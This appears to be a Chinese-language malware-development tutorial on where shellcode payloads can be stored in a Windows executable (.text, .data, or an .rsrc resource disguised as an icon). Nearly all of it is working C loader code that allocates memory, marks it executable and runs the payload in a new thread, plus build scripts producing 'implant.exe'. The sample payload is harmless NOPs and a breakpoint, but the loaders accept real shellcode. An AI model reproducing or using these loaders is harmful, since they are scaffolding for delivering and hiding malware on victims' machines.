payload 存储在什么位置

  • .text
  • .data
  • .rsrc

image.png

image.png

payload-store-text

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. int main(void) {
  6. void * exec_mem;
  7. BOOL rv;
  8. HANDLE th;
  9. DWORD oldprotect = 0;
  10. // 4 byte payload
  11. unsigned char payload[] = {
  12. 0x90, // NOP
  13. 0x90, // NOP
  14. 0xcc, // INT3
  15. 0xc3 // RET
  16. };
  17. unsigned int payload_len = 4;
  18. // Allocate a memory buffer for payload
  19. exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  20. printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  21. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  22. // Copy payload to new buffer
  23. RtlMoveMemory(exec_mem, payload, payload_len);
  24. // Make new buffer as executable
  25. rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  26. printf("\nHit me!\n");
  27. getchar();
  28. // If all good, run the payload
  29. if ( rv != 0 ) {
  30. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  31. WaitForSingleObject(th, -1);
  32. }
  33. return 0;
  34. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

payload-store-data

  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. // 4 byte payload
  6. unsigned char payload[] = {
  7. 0x90, // NOP
  8. 0x90, // NOP
  9. 0xcc, // INT3
  10. 0xc3 // RET
  11. };
  12. unsigned int payload_len = 4;
  13. int main(void) {
  14. void * exec_mem;
  15. BOOL rv;
  16. HANDLE th;
  17. DWORD oldprotect = 0;
  18. // Allocate a memory buffer for payload
  19. exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  20. printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  21. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  22. // Copy payload to new buffer
  23. RtlMoveMemory(exec_mem, payload, payload_len);
  24. // Make new buffer as executable
  25. rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  26. printf("\nHit me!\n");
  27. getchar();
  28. // If all good, run the payload
  29. if ( rv != 0 ) {
  30. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  31. WaitForSingleObject(th, -1);
  32. }
  33. return 0;
  34. }
  1. @ECHO OFF
  2. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64

payload-store-rsrc

  1. //1resources.h
  2. // #define FAVICON_ICO 100
  3. //2resources.rc
  4. //#include "resources.h"
  5. //FAVICON_ICO RCDATA calc.ico
  6. //3
  7. //calc.ico 放入payload shellcode
  8. #include <windows.h>
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <string.h>
  12. #include "resources.h"
  13. int main(void) {
  14. void * exec_mem;
  15. BOOL rv;
  16. HANDLE th;
  17. DWORD oldprotect = 0;
  18. HGLOBAL resHandle = NULL;
  19. HRSRC res;
  20. unsigned char * payload;
  21. unsigned int payload_len;
  22. // Extract payload from resources section
  23. res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
  24. resHandle = LoadResource(NULL, res);
  25. payload = (char *) LockResource(resHandle);
  26. payload_len = SizeofResource(NULL, res);
  27. // Allocate some memory buffer for payload
  28. exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  29. printf("%-20s : 0x%-016p\n", "payload addr", (void *)payload);
  30. printf("%-20s : 0x%-016p\n", "exec_mem addr", (void *)exec_mem);
  31. // Copy payload to new memory buffer
  32. RtlMoveMemory(exec_mem, payload, payload_len);
  33. // Make the buffer executable
  34. rv = VirtualProtect(exec_mem, payload_len, PAGE_EXECUTE_READ, &oldprotect);
  35. printf("\nHit me!\n");
  36. getchar();
  37. // Launch the payload
  38. if ( rv != 0 ) {
  39. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  40. WaitForSingleObject(th, -1);
  41. }
  42. return 0;
  43. }
  1. @ECHO OFF
  2. rc resources.rc
  3. cvtres /MACHINE:x64 /OUT:resources.o resources.res
  4. cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE /MACHINE:x64 resources.o